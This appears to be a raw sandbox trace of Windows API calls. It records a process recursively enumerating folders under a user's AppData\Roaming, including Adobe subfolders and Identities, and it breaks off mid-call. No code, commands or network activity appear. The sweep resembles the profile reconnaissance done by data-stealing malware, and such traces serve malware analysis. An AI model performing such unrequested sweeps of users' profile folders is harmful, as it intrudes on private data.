[0068.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\flash player"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.669] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.669] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.669] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.669] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.669] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\flash player\\assetcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.669] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.670] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.670] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.670] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3f [0068.670] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.670] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.670] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.670] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x34 [0068.671] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.671] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.671] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\headlights"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.671] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.672] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.672] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.672] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.672] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x32 [0068.672] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.672] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.672] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.672] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\linguistics"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.673] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.673] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.673] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.673] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.673] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.673] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\linguistics\\dictionaries"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.674] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.674] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.674] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.674] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x40 [0068.674] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.674] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.674] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.674] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x33 [0068.675] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.675] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.675] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.675] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.675] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\logtransport2"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.675] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.676] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.676] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.676] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.676] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x35 [0068.676] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.676] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.676] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.676] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.676] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0068.676] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.677] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.677] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\identities"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.677] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.677] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.677] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.678] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.678] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe6ec, 